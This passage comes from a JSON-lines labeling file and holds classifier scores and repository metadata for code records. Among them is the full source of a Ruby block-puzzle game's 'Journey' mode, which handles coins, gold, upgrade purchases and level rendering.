"missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 15127, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 15127, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:08.093552+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "c9b2ddb5-2d35-4877-8294-a95b342a9d47", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "240adf8bcadfe5067bc98d7a56446278c9862763b7540d4682ea0f9fd54b38ae", "source_metadata": {"uuid": "c9b2ddb5-2d35-4877-8294-a95b342a9d47", "repo_name": "calotocen/CodeIQ", "relative_path": "平成変換/heiseihenkan_kai.rb", "category": "TOOL", "algo_rel_score": 0.9105687141418457, "quality_score": 3.3231139183044434, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 10, "repo_created_at": "2013-10-23T04:07:00.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "68dd75d4b26aa5dc2d177d5cf55edea3231a4132", "size_bytes": 21304, "file_timestamp": 1392261806, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "91210661cb5c3551c6631fed406235990dac0d3b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 10, "repo_created_at": "2013-10-23T04:07:00.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "68dd75d4b26aa5dc2d177d5cf55edea3231a4132", "size_bytes": 21304, "file_timestamp": 1392261806, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "91210661cb5c3551c6631fed406235990dac0d3b", "url": "https://github.com/calotocen/CodeIQ/blob/91210661cb5c3551c6631fed406235990dac0d3b/%E5%B9%B3%E6%88%90%E5%A4%89%E6%8F%9B/heiseihenkan_kai.rb"}, "gpt4o_tokens": 6449, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2715414826871867, "noise_severity": 0.10932174503833225, "missing_content_severity": 0.46384981661221386, "factual_density": 3.4151962426542464, "pretraining_utility": 0.7668953138688085, "math_density": 2.556567428643235, "code_density": 3.3180970754135397, "reasoning_density": 2.571357611263962, "education_level": 2.0090840371652026, "creative_writing_quality": -0.011433989414046844}, "score_applicability": {"education_level": 0.9978518201192569, "creative_writing_quality": 0.0037325361692086326}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/andymeneely/vexomino.xyz/blob/6678ad358461fc44bb12923fe260b4e79c52a5c2/game/gamedata/app/modes/journey.rb", "id": "ruby-0-8fe1e5c6a09fa50109ef67fe7f124948", "text": "require 'app/animations/congrats.rb'\n\nclass Journey\n\n attr_reader :blocks\n\n def initialize(args)\n @args = args\n @drawer_size = JOURNEY_DRAWER_START\n @blocks = Array.new(@drawer_size) { |i| Block.new(@args, i) }\n @rng = Random.new()\n @level_announcement = LevelAnnouncement.new(@args)\n @congrats = Congrats.new(@args)\n clear_state!\n defaults\n new_coin!\n end\n \n def s\n @args.state\n end\n \n def o\n @args.outputs\n end\n \n def i\n @args.inputs\n end\n\n def defaults\n s.gold ||= 0\n ITEMS.each do |(k,v)|\n s.costs[k] = v[:cost]\n end if s.costs.nil?\n @congrats.defaults\n end\n\n def init\n s.pallete = JOURNEY_PALLETE[0]\n end\n \n def render_ui\n render_progress_bar\n ITEMS.each do |(k, h)|\n unless s.unlocked[k]\n can_afford = s.gold >= s.costs[k]\n \n if can_afford && i.mouse.position.inside_rect?(h)\n o.primitives << h.to_solid(**s.pallete[:empty]) \n end\n\n o.primitives << h.to_border(**GREY)\n\n o.primitives << h.to_label(\n x: h.x + h.label_dx,\n y: h.y + h.label_dy,\n **(can_afford ? s.pallete[:filled] : GREY)\n )\n \n o.primitives << h.to_label(\n x: h.x + h.label_dx + 20,\n y: h.y + h.label_dy - 20,\n text: \"#{s.costs[k]}g\",\n **(can_afford ? GOLD_FG : GREY)\n )\n\n o.primitives << h.to_border(**GREY)\n end\n end\n render_level_progress\n end\n\n def render_level_progress\n (1..20).each do |lvl|\n label_color = s.level >= lvl ? :filled : :empty\n label_color = :empty if s.level == lvl && @args.tick_count < s.level_birthday + LEVEL_FADE\n o.primitives << LEVEL_PROGRESS.to_label(\n text: \"Level #{lvl}\",\n y: lvl * LEVEL_PROGRESS.h + LEVEL_PROGRESS.y,\n **s.pallete[label_color]\n )\n end\n end\n\n def clear_state!\n s.gold = nil\n s.coins = nil\n s.coin_value = nil\n s.coin_plus_one_cost = nil\n s.costs = nil\n end\n\n def defaults\n s.gold ||= 0\n s.coins ||= Array.new(9) { |_i| Array.new(9, 0) }\n ITEMS.each do |(k,v)| \n s.unlocked[k] = false\n s.costs[k] = v[:cost]\n end if s.unlocked.nil?\n s.coin_value ||= 1\n end\n\n def rnd8\n (@rng.rand() * 9).to_i\n end\n\n def new_coin!\n 10.times do \n r = rnd8\n c = rnd8\n if s.coins[r][c] == 0\n s.coins[r][c] = s.coin_value\n break\n end\n end\n end\n \n def render\n o.sprites << JOURNEY_GOLD\n o.labels << JOURNEY_GOLD_TXT.merge({text: s.gold}).merge(GOLD_FG)\n\n xy_offset = (SQUARE_SIZE - COIN.w) / 2.0\n s.coins.map_2d do |r,c,v|\n if v > 0\n o.primitives << COIN.merge({\n x: c * (SQUARE_SIZE + GAP) + GRID_RECT.x + xy_offset,\n y: r * (SQUARE_SIZE + GAP) + GRID_RECT.y + xy_offset,\n }).sprite\n o.primitives << COIN.merge({\n x: c * (SQUARE_SIZE + GAP) + GRID_RECT.x + xy_offset + 14,\n y: r * (SQUARE_SIZE + GAP) + GRID_RECT.y + xy_offset + 27,\n text: v\n }).merge(GOLD_FG).label\n end\n end\n o.primitives << LEVEL.merge(s.pallete[:filled]).merge(text: \"Level #{s.level}\").label\n @blocks.each { |b| b.render unless b.blank? }\n\n @level_announcement.render\n @congrats.render\n end\n \n def find_grabbed\n @blocks.find do |b|\n @args.inputs.mouse.position.inside_rect?(b.rect) && !b.blank?\n end\n end\n \n def input\n if i.mouse.click \n ITEMS.each do |(k,rect)|\n if i.mouse.position.inside_rect?(rect)\n s.buying = k\n end\n end\n end\n s.gold += 1 if i.keyboard.p \n end\n \n # In Journey Mode, we act like Classic unless we unlock Zen\n def drop!(block)\n if s.unlocked.refresh\n block.another_one!\n else \n block.blank = true\n if @blocks.all? { |b| b.blank? }\n @blocks.each { |b| b.another_one! }\n end\n end\n s.combos.times do \n new_coin!\n new_coin! if s.unlocked.coins_for_combos\n end\n end\n \n def save_for_undo!\n # nothin for now\n end\n \n def render_progress_bar\n o.solids << {\n x: PROGRESS_RECT.x,\n y: PROGRESS_RECT.y,\n w: PROGRESS_RECT.w,\n h: PROGRESS_RECT.h,\n }.merge(s.pallete[:empty])\n o.solids << {\n x: PROGRESS_RECT.x, y: PROGRESS_RECT.y,\n w: score_to_progress(s.score), h: PROGRESS_RECT.h,\n }.merge(s.pallete[:filled]) \n pre_score_x = PROGRESS_RECT.x + score_to_progress(s.score) + 1 # tiny gap\n o.solids << {\n x: pre_score_x,\n y: PROGRESS_RECT.y,\n w: score_to_progress(s.pre_score).clamp(0, PROGRESS_RECT.w + PROGRESS_RECT.x - pre_score_x),\n h: PROGRESS_RECT.h,\n }.merge(s.pallete[:scorable])\n o.labels << PROGRESS_LABEL.merge(text: s.score).merge(s.pallete[:filled])\n o.labels << PROGRESS_LABEL\n .merge(text: \"+#{s.pre_score}\", x: PROGRESS_LABEL.x + PROGRESS_LABEL.w)\n .merge(s.pallete[:scorable]) unless s.pre_score == 0\n end\n \n def score_to_progress(i)\n (PROGRESS_RECT[2].to_f * i / s.max_score).clamp(0, PROGRESS_RECT[2])\n end\n\n def clear_scorable\n each_rc do |r, c|\n if s.grid[r][c] == :scorable && s.coins[r][c] > 0\n s.gold += s.coins[r][c]\n s.coins[r][c] = 0\n end\n end\n end\n\n def each_rc(&block)\n 0.upto(8).each do |r|\n 0.upto(8).each do |c|\n block.yield(r, c)\n end\n end\n end\n\n def calc\n buy_item unless s.buying.nil?\n end\n\n def buy_item \n item = s.buying\n s.buying = nil # only do this once\n cost = s.costs[item]\n return unless cost <= s.gold && !s.unlocked[item]\n case item\n when :second_piece\n @blocks << Block.new(@args, @blocks.size)\n s.unlocked[item] = true\n when :third_piece\n @blocks << Block.new(@args, @blocks.size)\n s.unlocked[item] = true\n when :coins_plus_one\n s.coin_value += 1\n s.costs.coins_plus_one += s.costs.coins_plus_one - 2\n refresh_coins!\n when :coins_2x\n s.coin_value *= 2\n s.unlocked[item] = true\n refresh_coins!\n when :coins_3x\n s.coin_value *= 3\n s.unlocked[item] = true\n refresh_coins!\n when :coins_for_combos\n s.unlocked[item] = true\n when :refresh\n s.unlocked[item] = true\n when :refresh_all\n s.costs[item] *= 2\n @blocks.each { |b| b.another_one! }\n when :single\n s.costs[item] *= 2\n @blocks.first.coords = [ [0,0] ]\n @blocks.first.blank = false\n end\n s.gold -= cost\n COST_COHORT.each do |k|\n s.costs[k] *= COHORT_INCREASE_FACTOR unless s.unlocked[k]\n s.costs[k] = s.costs[k].to_i\n end if COST_COHORT.include? item\n end\n\n def refresh_coins!\n each_rc do |r,c|\n s.coins[r][c] = (s.coins[r][c] == 0) ? 0 : s.coin_value\n end\n end\n\n def level_up!\n if s.level <= 20\n s.level_birthday = @args.tick_count\n s.pallete = JOURNEY_PALLETE[(s.level - 1) % JOURNEY_PALLETE.size]\n else \n @congrats.now!\n s.level_birthday = @args.tick_count\n end\n end\n \n def serialize\n {}\n end\n \n def inspect\n serialize.to_s\n end\n \n def to_s\n serialize.to_s\n end\n \n end", "text_preview": "require 'app/animations/congrats.rb' class Journey attr_reader :blocks def initialize(args) @args = args @drawer_size = JOURNEY_DRAWER_START @blocks = Array.new(@drawer_size) { |i| Block.new(@args, i) } @rng = Random.new() @level_announceme", "input_sha256": "b1f86ccad956c271434ee1432534366203cd0f9da52eb59216889ddcdd613882", "text_sha256": "8fe1e5c6a09fa50109ef67fe7f1249485b1b86a75f90eb36a3acdb6b39b3329b", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16061, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6983532659103026, "noise_severity": 0.013821940526172567, "missing_content_severity": 0.04897038294333572, "factual_density": 3.429919710237351, "pretraining_utility": 0.3356169514094639, "math_density": 0.8698179203267015, "code_density": 3.9222882638060663, "reasoning_density": 0.2214392837963642, "education_level": 1.9621780321018034, "creative_writing_quality": -0.3337645703474558}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.005949579092713098, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9974709402411923, "secondary": 0.9879442183580379, "tertiary": 0.9941524748026083, "structured_records": 0.011801887165110629, "procedural_steps": 0.0011505093113662794, "worked_solution": 0.0005334736391386916, "contextual_dialogue": 4.826261306189831e-06, "content_quality": 0.438751117118944, "noise_severity": 0.9884817162281895, "missing_content_severity": 0.9591913475472202, "factual_density": 0.5249330918644592, "pretraining_utility": 0.45705213940787637, "math_density": 0.2751517330610821, "code_density": 0.9352402198383887, "reasoning_density": 0.8154672635030298, "education_level": 0.7887866100082231, "creative_writing_quality": 0.9994672497795452, "primary_topic": 0.9443697426553206, "secondary_topic": 0.6512930355373474}, "probability_margin": {"primary": 0.9961813060168844, "secondary": 0.9813554758467246, "tertiary": 0.9912146476930277, "education_level": 0.7185347732295884, "creative_writing_quality": 0.9993501887553551, "primary_topic": 0.8961780118222722, "secondary_topic": 0.4067481338693837}, "raw_probabilities": {"primary": {"Academic Writing": 2.4404749716071602e-05, "Content Listing": 1.8443979199109383e-05, "Creative Writing": 2.586021944458372e-05, "Customer Support Page": 6.236528143270176e-06, "Q&A Forum": 7.019705159948356e-06, "Discussion Thread": 5.528899991472725e-06, "Comment Section": 7.931204225780932e-06, "Missing Content": 1.96536335119988e-05, "Knowledge Article": 4.247574145106732e-05, "Legal Notices": 3.347777243109793e-05, "News Article": 3.5972135078131275e-06, "Organizational Announcement": 9.232527340632652e-06, "Nonfiction Writing": 9.576182818571692e-06, "Organizational About Page": 9.164742525335321e-06, "Personal About Page": 1.0189871653495542e-05, "Personal Blog": 5.53971974284415e-06, "Product Page": 7.227775466069195e-06, "Spam / Ads": 7.98537871111845e-06, "Structured Data": 0.0006737413463838174, "Technical Writing": 0.9975763177311426, "Transcript / Interview": 1.2623996878816804e-05, "Tutorial / How-To Guide": 8.33743812205625e-05, "User Reviews": 5.3849850756598635e-06, "Other / Unknown": 0.0013950117142583}, "secondary": {"Academic Writing": 7.38681646763566e-05, "Content Listing": 6.717337142984862e-05, "Creative Writing": 0.00010037795365890238, "Customer Support Page": 2.6066642875773226e-05, "Q&A Forum": 1.9619939624967788e-05, "Discussion Thread": 1.854971808720688e-05, "Comment Section": 5.249461615391519e-05, "Missing Content": 0.00026441264262521444, "Knowledge Article": 0.00017463654724321907, "Legal Notices": 7.578190100223953e-05, "News Article": 2.7080977719199657e-05, "Organizational Announcement": 3.0063586236828115e-05, "Nonfiction Writing": 4.0755494679744e-05, "Organizational About Page": 3.6985949423279835e-05, "Personal About Page": 3.3256829767443444e-05, "Personal Blog": 2.4554553267158988e-05, "Product Page": 1.9286677479043383e-05, "Spam / Ads": 3.840058941984727e-05, "Structured Data": 0.003096363095954631, "Technical Writing": 0.007091066746395156, "Transcript / Interview": 3.3627148839025714e-05, "Tutorial / How-To Guide": 0.00019287137931463694, "User Reviews": 1.616288100657673e-05, "NONE": 0.9884465425931197}, "tertiary": {"Academic Writing": 4.579382715312085e-05, "Content Listing": 5.627432114206621e-05, "Creative Writing": 0.00011118682041135677, "Customer Support Page": 2.0428631623498206e-05, "Q&A Forum": 1.2846044051502535e-05, "Discussion Thread": 1.2513122782612769e-05, "Comment Section": 4.2946395301143366e-05, "Missing Content": 0.0002743266354104336, "Knowledge Article": 0.00016141325177601088, "Legal Notices": 9.626887354302833e-05, "News Article": 2.2942301324843524e-05, "Organizational Announcement": 2.324785221148266e-05, "Nonfiction Writing": 5.545676533913908e-05, "Organizational About Page": 3.490415235949189e-05, "Personal About Page": 2.551304262082834e-05, "Personal Blog": 1.9565772871438397e-05, "Product Page": 1.735871485246024e-05, "Spam / Ads": 2.574142099568377e-05, "Structured Data": 0.0011248544368020609, "Technical Writing": 0.0031814739928052575, "Transcript / Interview": 2.5304155905614018e-05, "Tutorial / How-To Guide": 0.00020023202026607403, "User Reviews": 1.328576261798638e-05, "NONE": 0.9943961216858329}, "structured_records": {"false": 0.9881981128348893, "true": 0.011801887165110629}, "procedural_steps": {"false": 0.9988494906886337, "true": 0.0011505093113662794}, "worked_solution": {"false": 0.9994665263608613, "true": 0.0005334736391386916}, "contextual_dialogue": {"false": 0.9999951737386938, "true": 4.826261306189831e-06}, "content_quality": {"-2": 0.009389245771007465, "-1": 0.08605147262069777, "0": 0.2873020142190644, "1": 0.43133130470544556, "2": 0.18592596268378486}, "noise_severity": {"0": 0.9880855978484541, "1": 0.01071323829242896, "2": 0.0007124403136643132, "3": 0.0002710725753955819, "4": 0.00021765097005705888}, "missing_content_severity": {"0": 0.9632125828956422, "1": 0.028069725064496558, "2": 0.005803593427547574, "3": 0.0023629234255105065, "4": 0.0005511751868031229}, "factual_density": {"0": 0.005856435269665519, "1": 0.009001156393341462, "2": 0.08973412562259826, "3": 0.34018282825876595, "4": 0.5552254544556289}, "pretraining_utility": {"-2": 0.010813818849041727, "-1": 0.13633260295245875, "0": 0.43152147709154415, "1": 0.3490870101539046, "2": 0.07224509095305075}, "math_density": {"0": 0.5261280303641475, "1": 0.2502844227289292, "2": 0.12067132032561494, "3": 0.03347404937869107, "4": 0.0694421772026173}, "code_density": {"0": 0.0001575597228081189, "1": 0.0003151217001344105, "2": 0.007800914253292233, "3": 0.06053430369571348, "4": 0.9311921006280518}, "reasoning_density": {"0": 0.8632574719245393, "1": 0.07515601412104395, "2": 0.04527802232872871, "3": 0.009506741484889907, "4": 0.006801750140798292}, "education_level": {"none": 0.001872451711274589, "0": 0.0022434433431428157, "1": 0.10545406844393086, "2": 0.8239888416735193, "3": 0.06069258261573054, "4": 0.005748612212401952}, "creative_writing_quality": {"not_applicable": 0.9995560414829543, "-2": 7.057687818377059e-05, "-1": 9.775341838644056e-05, "0": 0.0002058527275991638, "1": 4.882143469214838e-05, "2": 2.09540581840174e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.958344845818466e-05, "Art & Design": 0.00031735807154884953, "Law & Crime": 8.854314465281702e-05, "Education & Careers": 8.513564163007839e-05, "Entertainment & Media": 0.0003032500160926467, "Fashion & Beauty": 9.791172859785995e-05, "Business, Economics & Finance": 0.0001191193638566696, "Food & Dining": 7.289836916279154e-05, "Games & Gaming": 0.05033135611553611, "Electronics & Hardware": 0.00012200183597900205, "Health, Healthcare & Wellness": 6.950102801664038e-05, "History & Geography": 9.882709631168602e-05, "Home, Pets & Hobbies": 8.9147985519755e-05, "Industry & Production": 8.454939511956999e-05, "Language, Literature & Philosophy": 8.237425557951508e-05, "Politics & Government": 4.045682354002081e-05, "Religion & Spirituality": 7.762426151652751e-05, "Science, Mathematics & Engineering": 0.00029979108614040605, "Relationships & Community": 6.05086310796054e-05, "Software Usage & Applications": 0.0003929739764164983, "Programming & Software Engineering": 0.9465093679378083, "Sports & Fitness": 0.0001397719172157276, "Vehicles & Transportation": 4.2289395322587106e-05, "Travel & Tourism": 9.225074297265262e-05, "Other / Uncovered Subject": 0.0001639612029048237, "Unknown / Insufficient Content": 0.0001194465290205638}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00105319416422757, "Art & Design": 0.01315431680033739, "Law & Crime": 0.0006336004056892425, "Education & Careers": 0.00035856406206749233, "Entertainment & Media": 0.0011175155955311794, "Fashion & Beauty": 0.00035760411851072134, "Business, Economics & Finance": 0.000967432631517451, "Food & Dining": 0.00031269055721575245, "Games & Gaming": 0.2579567079934504, "Electronics & Hardware": 0.0004816207632775006, "Health, Healthcare & Wellness": 0.00036911142425373233, "History & Geography": 0.000367134732043287, "Home, Pets & Hobbies": 0.00045438212408275555, "Industry & Production": 0.0003057023710884262, "Language, Literature & Philosophy": 0.00029889886477062796, "Politics & Government": 0.0002457880245552645, "Religion & Spirituality": 0.00039437496928547704, "Science, Mathematics & Engineering": 0.0018170345712601778, "Relationships & Community": 0.00024301945301997375, "Software Usage & Applications": 0.0007050378306732281, "Programming & Software Engineering": 0.052129139111362736, "Sports & Fitness": 0.0003502111731581442, "Vehicles & Transportation": 0.0001691664764543632, "Travel & Tourism": 0.0005181986497780484, "Other / Uncovered Subject": 0.0005347112695549335, "NONE": 0.6647048418628341}}, "probabilities": {"primary": {"Academic Writing": 2.4404749716071602e-05, "Content Listing": 1.8443979199109383e-05, "Creative Writing": 2.586021944458372e-05, "Customer Support Page": 6.236528143270176e-06, "Q&A Forum": 7.019705159948356e-06, "Discussion Thread": 5.528899991472725e-06, "Comment Section": 7.931204225780932e-06, "Missing Content": 1.96536335119988e-05, "Knowledge Article": 4.247574145106732e-05, "Legal Notices": 3.347777243109793e-05, "News Article": 3.5972135078131275e-06, "Organizational Announcement": 9.232527340632652e-06, "Nonfiction Writing": 9.576182818571692e-06, "Organizational About Page": 9.164742525335321e-06, "Personal About Page": 1.0189871653495542e-05, "Personal Blog": 5.53971974284415e-06, "Product Page": 7.227775466069195e-06, "Spam / Ads": 7.98537871111845e-06, "Structured Data": 0.0006737413463838174, "Technical Writing": 0.9975763177311426, "Transcript / Interview": 1.2623996878816804e-05, "Tutorial / How-To Guide": 8.33743812205625e-05, "User Reviews": 5.3849850756598635e-06, "Other / Unknown": 0.0013950117142583}, "secondary": {"Academic Writing": 7.386816467635661e-05, "Content Listing": 6.717337142984863e-05, "Creative Writing": 0.0001003779536589024, "Customer Support Page": 2.606664287577323e-05, "Q&A Forum": 1.961993962496779e-05, "Discussion Thread": 1.8549718087206882e-05, "Comment Section": 5.24946161539152e-05, "Missing Content": 0.0002644126426252145, "Knowledge Article": 0.0001746365472432191, "Legal Notices": 7.578190100223954e-05, "News Article": 2.708097771919966e-05, "Organizational Announcement": 3.0063586236828118e-05, "Nonfiction Writing": 4.0755494679744004e-05, "Organizational About Page": 3.698594942327984e-05, "Personal About Page": 3.325682976744345e-05, "Personal Blog": 2.455455326715899e-05, "Product Page": 1.9286677479043386e-05, "Spam / Ads": 3.840058941984728e-05, "Structured Data": 0.0030963630959546314, "Technical Writing": 0.007091066746395157, "Transcript / Interview": 3.362714883902572e-05, "Tutorial / How-To Guide": 0.00019287137931463697, "User Reviews": 1.6162881006576732e-05, "NONE": 0.9884465425931198}, "tertiary": {"Academic Writing": 4.579382715312085e-05, "Content Listing": 5.627432114206621e-05, "Creative Writing": 0.00011118682041135677, "Customer Support Page": 2.0428631623498206e-05, "Q&A Forum": 1.2846044051502535e-05, "Discussion Thread": 1.2513122782612769e-05, "Comment Section": 4.2946395301143366e-05, "Missing Content": 0.0002743266354104336, "Knowledge Article": 0.00016141325177601088, "Legal Notices": 9.626887354302833e-05, "News Article": 2.2942301324843524e-05, "Organizational Announcement": 2.324785221148266e-05, "Nonfiction Writing": 5.545676533913908e-05, "Organizational About Page": 3.490415235949189e-05, "Personal About Page": 2.551304262082834e-05, "Personal Blog": 1.9565772871438397e-05, "Product Page": 1.735871485246024e-05, "Spam / Ads": 2.574142099568377e-05, "Structured Data": 0.0011248544368020609, "Technical Writing": 0.0031814739928052575, "Transcript / Interview": 2.5304155905614018e-05, "Tutorial / How-To Guide": 0.00020023202026607403, "User Reviews": 1.328576261798638e-05, "NONE": 0.9943961216858329}, "structured_records": {"false": 0.9881981128348893, "true": 0.011801887165110629}, "procedural_steps": {"false": 0.9988494906886337, "true": 0.0011505093113662794}, "worked_solution": {"false": 0.9994665263608613, "true": 0.0005334736391386916}, "contextual_dialogue": {"false": 0.9999951737386938, "true": 4.826261306189831e-06}, "content_quality": {"-2": 0.009389245771007465, "-1": 0.08605147262069777, "0": 0.2873020142190644, "1": 0.43133130470544556, "2": 0.18592596268378486}, "noise_severity": {"0": 0.9880855978484541, "1": 0.01071323829242896, "2": 0.0007124403136643132, "3": 0.0002710725753955819, "4": 0.00021765097005705888}, "missing_content_severity": {"0": 0.9632125828956423, "1": 0.02806972506449656, "2": 0.005803593427547575, "3": 0.002362923425510507, "4": 0.000551175186803123}, "factual_density": {"0": 0.005856435269665519, "1": 0.009001156393341462, "2": 0.08973412562259826, "3": 0.34018282825876595, "4": 0.5552254544556289}, "pretraining_utility": {"-2": 0.010813818849041727, "-1": 0.13633260295245875, "0": 0.43152147709154415, "1": 0.3490870101539046, "2": 0.07224509095305075}, "math_density": {"0": 0.5261280303641475, "1": 0.2502844227289292, "2": 0.12067132032561494, "3": 0.03347404937869107, "4": 0.0694421772026173}, "code_density": {"0": 0.0001575597228081189, "1": 0.0003151217001344105, "2": 0.007800914253292233, "3": 0.06053430369571348, "4": 0.9311921006280518}, "reasoning_density": {"0": 0.863257471924539, "1": 0.07515601412104393, "2": 0.045278022328728705, "3": 0.009506741484889905, "4": 0.00680175014079829}, "education_level": {"none": 0.001872451711274589, "0": 0.0022434433431428157, "1": 0.10545406844393086, "2": 0.8239888416735193, "3": 0.06069258261573054, "4": 0.005748612212401952}, "creative_writing_quality": {"not_applicable": 0.9995560414829544, "-2": 7.05768781837706e-05, "-1": 9.775341838644058e-05, "0": 0.00020585272759916383, "1": 4.8821434692148385e-05, "2": 2.0954058184017405e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.958344845818468e-05, "Art & Design": 0.0003173580715488496, "Law & Crime": 8.854314465281704e-05, "Education & Careers": 8.51356416300784e-05, "Entertainment & Media": 0.00030325001609264677, "Fashion & Beauty": 9.791172859785996e-05, "Business, Economics & Finance": 0.00011911936385666962, "Food & Dining": 7.289836916279156e-05, "Games & Gaming": 0.050331356115536116, "Electronics & Hardware": 0.00012200183597900206, "Health, Healthcare & Wellness": 6.95010280166404e-05, "History & Geography": 9.882709631168604e-05, "Home, Pets & Hobbies": 8.914798551975502e-05, "Industry & Production": 8.454939511957e-05, "Language, Literature & Philosophy": 8.237425557951509e-05, "Politics & Government": 4.045682354002082e-05, "Religion & Spirituality": 7.762426151652752e-05, "Science, Mathematics & Engineering": 0.0002997910861404061, "Relationships & Community": 6.050863107960541e-05, "Software Usage & Applications": 0.00039297397641649835, "Programming & Software Engineering": 0.9465093679378084, "Sports & Fitness": 0.00013977191721572762, "Vehicles & Transportation": 4.228939532258711e-05, "Travel & Tourism": 9.225074297265263e-05, "Other / Uncovered Subject": 0.00016396120290482373, "Unknown / Insufficient Content": 0.00011944652902056381}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0010531941642275703, "Art & Design": 0.013154316800337391, "Law & Crime": 0.0006336004056892426, "Education & Careers": 0.0003585640620674924, "Entertainment & Media": 0.0011175155955311796, "Fashion & Beauty": 0.0003576041185107214, "Business, Economics & Finance": 0.0009674326315174511, "Food & Dining": 0.0003126905572157525, "Games & Gaming": 0.25795670799345044, "Electronics & Hardware": 0.00048162076327750065, "Health, Healthcare & Wellness": 0.0003691114242537324, "History & Geography": 0.00036713473204328707, "Home, Pets & Hobbies": 0.0004543821240827556, "Industry & Production": 0.00030570237108842624, "Language, Literature & Philosophy": 0.000298898864770628, "Politics & Government": 0.00024578802455526455, "Religion & Spirituality": 0.0003943749692854771, "Science, Mathematics & Engineering": 0.001817034571260178, "Relationships & Community": 0.00024301945301997377, "Software Usage & Applications": 0.0007050378306732282, "Programming & Software Engineering": 0.05212913911136274, "Sports & Fitness": 0.00035021117315814425, "Vehicles & Transportation": 0.00016916647645436324, "Travel & Tourism": 0.0005181986497780485, "Other / Uncovered Subject": 0.0005347112695549336, "NONE": 0.6647048418628342}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 